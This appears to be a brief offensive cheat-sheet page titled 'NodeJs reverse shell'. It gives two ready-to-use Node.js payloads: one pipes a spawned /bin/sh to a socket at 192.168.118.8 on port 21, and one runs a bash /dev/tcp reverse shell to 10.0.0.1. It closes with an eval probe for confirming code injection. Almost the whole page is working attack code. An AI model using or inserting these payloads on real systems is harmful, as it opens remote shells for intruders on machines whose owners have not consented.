NodeJs

NodeJs reverse shell

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(21, "192.168.118.8", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();
(require('child_process').exec('bash -i >& /dev/tcp/10.0.0.1/80 0>&1'));
eval(2+2) # If returns 4 this means the code get evaluated

Last updated